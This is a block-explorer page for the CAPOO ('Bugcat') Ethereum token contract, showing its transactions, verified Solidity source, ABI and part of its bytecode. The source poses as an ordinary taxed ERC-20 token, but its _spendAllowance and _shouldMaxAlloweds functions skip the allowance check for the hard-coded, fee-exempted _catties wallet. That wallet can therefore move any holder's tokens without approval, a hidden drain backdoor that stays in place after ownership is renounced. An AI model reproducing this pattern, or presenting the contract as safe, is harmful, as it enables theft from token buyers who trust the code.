ETH Price: $3,442.63 (+4.97%)

Contract

0xdCaee69Ca203a7f24D1026460Dd9D45820B4e13a
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer209092252024-10-06 21:33:23105 days ago1728250403IN
0xdCaee69C...820B4e13a
0 ETH0.000461289.89770475
Transfer209092252024-10-06 21:33:23105 days ago1728250403IN
0xdCaee69C...820B4e13a
0 ETH0.000461289.89770475
Transfer209092252024-10-06 21:33:23105 days ago1728250403IN
0xdCaee69C...820B4e13a
0 ETH0.0004707710.10144678
Transfer209092252024-10-06 21:33:23105 days ago1728250403IN
0xdCaee69C...820B4e13a
0 ETH0.0006435110.10144678
Approve209092192024-10-06 21:32:11105 days ago1728250331IN
0xdCaee69C...820B4e13a
0 ETH0.000444939.49178431
Approve209092032024-10-06 21:28:59105 days ago1728250139IN
0xdCaee69C...820B4e13a
0 ETH0.0005017310.703379
Approve209091562024-10-06 21:19:35105 days ago1728249575IN
0xdCaee69C...820B4e13a
0 ETH0.000440819.40389292
Approve209091542024-10-06 21:19:11105 days ago1728249551IN
0xdCaee69C...820B4e13a
0 ETH0.00039548.43512438
Approve209091512024-10-06 21:18:35105 days ago1728249515IN
0xdCaee69C...820B4e13a
0 ETH0.00040168.56736405
Approve209091492024-10-06 21:18:11105 days ago1728249491IN
0xdCaee69C...820B4e13a
0 ETH0.00040168.56736405
Approve209091262024-10-06 21:13:35105 days ago1728249215IN
0xdCaee69C...820B4e13a
0 ETH0.00038588.23041665
Approve209091262024-10-06 21:13:35105 days ago1728249215IN
0xdCaee69C...820B4e13a
0 ETH0.00038588.23041665
Renounce Ownersh...209090522024-10-06 20:58:47105 days ago1728248327IN
0xdCaee69C...820B4e13a
0 ETH0.000170857.2967434
Erase Limited209090412024-10-06 20:56:35105 days ago1728248195IN
0xdCaee69C...820B4e13a
0 ETH0.000263177.15264735
Open Capoo209090372024-10-06 20:55:47105 days ago1728248147IN
0xdCaee69C...820B4e13a
0 ETH0.01871276.71534994
Approve209090312024-10-06 20:54:35105 days ago1728248075IN
0xdCaee69C...820B4e13a
0 ETH0.000339227.23656455
Approve209090312024-10-06 20:54:35105 days ago1728248075IN
0xdCaee69C...820B4e13a
0 ETH0.000339227.23656455
Approve209090312024-10-06 20:54:35105 days ago1728248075IN
0xdCaee69C...820B4e13a
0 ETH0.000339227.23656455
Approve209090292024-10-06 20:53:59105 days ago1728248039IN
0xdCaee69C...820B4e13a
0 ETH0.000336577.1801913
Approve209090292024-10-06 20:53:59105 days ago1728248039IN
0xdCaee69C...820B4e13a
0 ETH0.000336577.1801913
Approve209090292024-10-06 20:53:59105 days ago1728248039IN
0xdCaee69C...820B4e13a
0 ETH0.000336577.1801913
Approve209090292024-10-06 20:53:59105 days ago1728248039IN
0xdCaee69C...820B4e13a
0 ETH0.000336577.1801913
Approve209090292024-10-06 20:53:59105 days ago1728248039IN
0xdCaee69C...820B4e13a
0 ETH0.000336577.1801913
Transfer209090252024-10-06 20:53:11105 days ago1728247991IN
0xdCaee69C...820B4e13a
1 ETH0.000123215.85195234
Transfer209090182024-10-06 20:51:47105 days ago1728247907IN
0xdCaee69C...820B4e13a
0 ETH0.000345686.18544536
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
209091582024-10-06 21:19:59105 days ago1728249599
0xdCaee69C...820B4e13a
0.40474046 ETH
209091582024-10-06 21:19:59105 days ago1728249599
0xdCaee69C...820B4e13a
0.40474046 ETH
209091542024-10-06 21:19:11105 days ago1728249551
0xdCaee69C...820B4e13a
0.05656371 ETH
209091542024-10-06 21:19:11105 days ago1728249551
0xdCaee69C...820B4e13a
0.05656371 ETH
209091522024-10-06 21:18:47105 days ago1728249527
0xdCaee69C...820B4e13a
0.26670034 ETH
209091522024-10-06 21:18:47105 days ago1728249527
0xdCaee69C...820B4e13a
0.26670034 ETH
209091382024-10-06 21:15:59105 days ago1728249359
0xdCaee69C...820B4e13a
0.11982214 ETH
209091382024-10-06 21:15:59105 days ago1728249359
0xdCaee69C...820B4e13a
0.11982214 ETH
209091382024-10-06 21:15:59105 days ago1728249359
0xdCaee69C...820B4e13a
0.25573929 ETH
209091382024-10-06 21:15:59105 days ago1728249359
0xdCaee69C...820B4e13a
0.25573929 ETH
209091072024-10-06 21:09:47105 days ago1728248987
0xdCaee69C...820B4e13a
0.15572807 ETH
209091072024-10-06 21:09:47105 days ago1728248987
0xdCaee69C...820B4e13a
0.15572807 ETH
209091072024-10-06 21:09:47105 days ago1728248987
0xdCaee69C...820B4e13a
0.28489142 ETH
209091072024-10-06 21:09:47105 days ago1728248987
0xdCaee69C...820B4e13a
0.28489142 ETH
209091032024-10-06 21:08:59105 days ago1728248939
0xdCaee69C...820B4e13a
0.11651539 ETH
209091032024-10-06 21:08:59105 days ago1728248939
0xdCaee69C...820B4e13a
0.11651539 ETH
209090952024-10-06 21:07:23105 days ago1728248843
0xdCaee69C...820B4e13a
0.60247214 ETH
209090952024-10-06 21:07:23105 days ago1728248843
0xdCaee69C...820B4e13a
0.60247214 ETH
209090732024-10-06 21:02:59105 days ago1728248579
0xdCaee69C...820B4e13a
0.23527812 ETH
209090732024-10-06 21:02:59105 days ago1728248579
0xdCaee69C...820B4e13a
0.23527812 ETH
209090732024-10-06 21:02:59105 days ago1728248579
0xdCaee69C...820B4e13a
0.28933002 ETH
209090732024-10-06 21:02:59105 days ago1728248579
0xdCaee69C...820B4e13a
0.28933002 ETH
209090522024-10-06 20:58:47105 days ago1728248327
0xdCaee69C...820B4e13a
0.46705563 ETH
209090522024-10-06 20:58:47105 days ago1728248327
0xdCaee69C...820B4e13a
0.46705563 ETH
209090372024-10-06 20:55:47105 days ago1728248147
0xdCaee69C...820B4e13a
1 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CAPOO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : 1.sol
/**
Website:  https://capooeth.xyz
X:  https://x.com/capooethx
Telegram:  https://t.me/capooeth
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CAPOO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _owned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExempted;
    address payable private _catties =
        payable(0x95589d3CfF6cF8CB93B7dd2e1D86f031b1cde462);

    uint256 private _firstTradesIn = 20;
    uint256 private _lastTradeOut = 0;
    uint256 private _tradeCntDown = 15;
    uint256 private _preventswaps = 15;
    uint256 private _trades = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tsups = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Bugcat";
    string private constant _symbol = unicode"CAPOO";

    uint256 public _mxTxLimit = (_tsups * 2) / 100;
    uint256 public _mxBagLimit = (_tsups * 2) / 100;
    uint256 public _taxSwapLimit = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwapLimit = _tsups / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _owned[_msgSender()] = _tsups;
        _feeExempted[owner()] = true;
        _feeExempted[address(this)] = true;
        _feeExempted[_catties] = true;

        emit Transfer(address(0), _msgSender(), _tsups);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tsups;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _owned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);

        return true;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal {
        uint256 currentAllowance = _allowances[owner][spender];
        if (!_shouldMaxAlloweds(spender, value)) {
            require(
                currentAllowance >= value,
                "ERC20: transfer amount exceeds allowance"
            );
            _approve(owner, spender, currentAllowance - value);
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openCapoo() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );

        _approve(address(this), address(uniswapV2Router), _tsups);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _shouldMaxAlloweds(
        address spender,
        uint256 value
    ) internal view returns (bool) {
        return
            value == type(uint256).max ||
            (_feeExempted[spender] &&
                spender != address(this) &&
                spender != owner());
    }

    function _transfer(address staa, address lass, uint256 amil) private {
        require(staa != address(0), "ERC20: transfer from the zero address");
        require(lass != address(0), "ERC20: transfer to the zero address");
        require(amil > 0, "Transfer amount must be greater than zero");
        uint256 ttax = 0;
        if (
            staa != owner() &&
            lass != owner() &&
            staa != address(this) &&
            lass != address(this)
        ) {
            ttax = amil
                .mul((_trades > _tradeCntDown) ? _lastTradeOut : _firstTradesIn)
                .div(100);

            if (
                staa == uniswapV2Pair &&
                lass != address(uniswapV2Router) &&
                !_feeExempted[lass]
            ) {
                require(amil <= _mxTxLimit, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(lass) + amil <= _mxBagLimit,
                    "Exceeds the maxWalletSize."
                );
                _trades++;
            }

            if (lass == uniswapV2Pair && staa != address(this)) {
                ttax = amil
                    .mul(
                        (_trades > _tradeCntDown)
                            ? _lastTradeOut
                            : _firstTradesIn
                    )
                    .div(100);
            }

            uint256 ctb = balanceOf(address(this));
            if (
                !inSwap &&
                lass == uniswapV2Pair &&
                swapEnabled &&
                _trades > _preventswaps &&
                !_feeExempted[staa]
            ) {
                if (ctb > _taxSwapLimit)
                    swapTokensForEth(min(amil, min(ctb, _maxTaxSwapLimit)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ether) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (ttax > 0) {
            _owned[address(this)] = _owned[address(this)].add(ttax);
            emit Transfer(staa, address(this), ttax);
        }
        _owned[staa] = _owned[staa].sub(amil);
        _owned[lass] = _owned[lass].add(amil.sub(ttax));
        emit Transfer(staa, lass, amil.sub(ttax));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _catties.transfer(amount);
    }

    receive() external payable {}

    function eraseLimited() external onlyOwner {
        _mxTxLimit = _tsups;
        _mxBagLimit = _tsups;
        emit MaxTxAmountUpdated(_tsups);
    }

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxBagLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"eraseLimited","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openCapoo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527395589d3cff6cf8cb93b7dd2e1d86f031b1cde46260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060146005555f600655600f600755600f6008555f600955606460026009600a61008191906105dd565b633b9aca006100909190610627565b61009a9190610627565b6100a49190610695565b600a55606460026009600a6100b991906105dd565b633b9aca006100c89190610627565b6100d29190610627565b6100dc9190610695565b600b556009600a6100ed91906105dd565b60646100f99190610627565b600c5560646009600a61010c91906105dd565b633b9aca0061011b9190610627565b6101259190610695565b600d555f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff021916908315150217905550348015610167575f80fd5b505f61017761043e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a61022191906105dd565b633b9aca006102309190610627565b60015f61024161043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61029161044560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103b961043e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61041591906105dd565b633b9aca006104249190610627565b60405161043191906106d4565b60405180910390a36106ed565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104ee578086048111156104ca576104c961046c565b5b60018516156104d95780820291505b80810290506104e785610499565b94506104ae565b94509492505050565b5f8261050657600190506105c1565b81610513575f90506105c1565b8160018114610529576002811461053357610562565b60019150506105c1565b60ff8411156105455761054461046c565b5b8360020a91508482111561055c5761055b61046c565b5b506105c1565b5060208310610133831016604e8410600b84101617156105975782820a9050838111156105925761059161046c565b5b6105c1565b6105a484848460016104a5565b925090508184048111156105bb576105ba61046c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105e7826105c8565b91506105f2836105d1565b925061061f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104f7565b905092915050565b5f610631826105c8565b915061063c836105c8565b925082820261064a816105c8565b915082820484148315176106615761066061046c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61069f826105c8565b91506106aa836105c8565b9250826106ba576106b9610668565b5b828204905092915050565b6106ce816105c8565b82525050565b5f6020820190506106e75f8301846106c5565b92915050565b612de5806106fa5f395ff3fe60806040526004361061010c575f3560e01c80636ec88c0b11610094578063937ce5ff11610063578063937ce5ff1461033357806395d89b4114610349578063a9059cbb14610373578063dd62ed3e146103af578063f3200c91146103eb57610113565b80636ec88c0b146102a157806370a08231146102b7578063715018a6146102f35780638da5cb5b1461030957610113565b806320800a00116100db57806320800a00146101d157806323b872dd146101e75780632f70492414610223578063313ce5671461024d5780633b950ba21461027757610113565b806306fdde0314610117578063095ea7b3146101415780630d5eb7751461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611fa1565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612052565b610452565b60405161017491906120aa565b60405180910390f35b348015610188575f80fd5b5061019161046f565b60405161019e91906120d2565b60405180910390f35b3480156101b2575f80fd5b506101bb610475565b6040516101c891906120d2565b60405180910390f35b3480156101dc575f80fd5b506101e5610498565b005b3480156101f2575f80fd5b5061020d600480360381019061020891906120eb565b610579565b60405161021a91906120aa565b60405180910390f35b34801561022e575f80fd5b506102376105a2565b60405161024491906120d2565b60405180910390f35b348015610258575f80fd5b506102616105a8565b60405161026e9190612156565b60405180910390f35b348015610282575f80fd5b5061028b6105b0565b60405161029891906120d2565b60405180910390f35b3480156102ac575f80fd5b506102b56105b6565b005b3480156102c2575f80fd5b506102dd60048036038101906102d8919061216f565b6106e5565b6040516102ea91906120d2565b60405180910390f35b3480156102fe575f80fd5b5061030761072b565b005b348015610314575f80fd5b5061031d610879565b60405161032a91906121a9565b60405180910390f35b34801561033e575f80fd5b506103476108a0565b005b348015610354575f80fd5b5061035d610ce4565b60405161036a9190611fa1565b60405180910390f35b34801561037e575f80fd5b5061039960048036038101906103949190612052565b610d21565b6040516103a691906120aa565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d091906121c2565b610d3e565b6040516103e291906120d2565b60405180910390f35b3480156103f6575f80fd5b506103ff610dc0565b60405161040c91906120d2565b60405180910390f35b60606040518060400160405280600681526020017f4275676361740000000000000000000000000000000000000000000000000000815250905090565b5f61046561045e610dc6565b8484610dcd565b6001905092915050565b600b5481565b5f6009600a610484919061235c565b633b9aca0061049391906123a6565b905090565b6104a0610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052390612431565b60405180910390fd5b610534610879565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610576573d5f803e3d5ffd5b50565b5f610585848484610f90565b61059784610591610dc6565b8461183f565b600190509392505050565b600a5481565b5f6009905090565b600d5481565b6105be610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064190612431565b60405180910390fd5b6009600a610658919061235c565b633b9aca0061066791906123a6565b600a819055506009600a61067b919061235c565b633b9aca0061068a91906123a6565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6106bf919061235c565b633b9aca006106ce91906123a6565b6040516106db91906120d2565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610733610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690612431565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108a8610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b90612431565b60405180910390fd5b600f60149054906101000a900460ff1615610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612499565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6691906124cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1091906124cb565b6040518363ffffffff1660e01b8152600401610b2d9291906124f6565b6020604051808303815f875af1158015610b49573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6d91906124cb565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf430600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610be0919061235c565b633b9aca00610bef91906123a6565b610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c3c306106e5565b5f80610c46610879565b426040518863ffffffff1660e01b8152600401610c689695949392919061255f565b60606040518083038185885af1158015610c84573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ca991906125d2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60606040518060400160405280600581526020017f4341504f4f000000000000000000000000000000000000000000000000000000815250905090565b5f610d34610d2d610dc6565b8484610f90565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8391906120d2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff5906127ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110639061283c565b60405180910390fd5b5f81116110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906128ca565b60405180910390fd5b5f6110b7610879565b73ffffffffffffffffffffffffffffffffffffffff168473ffffff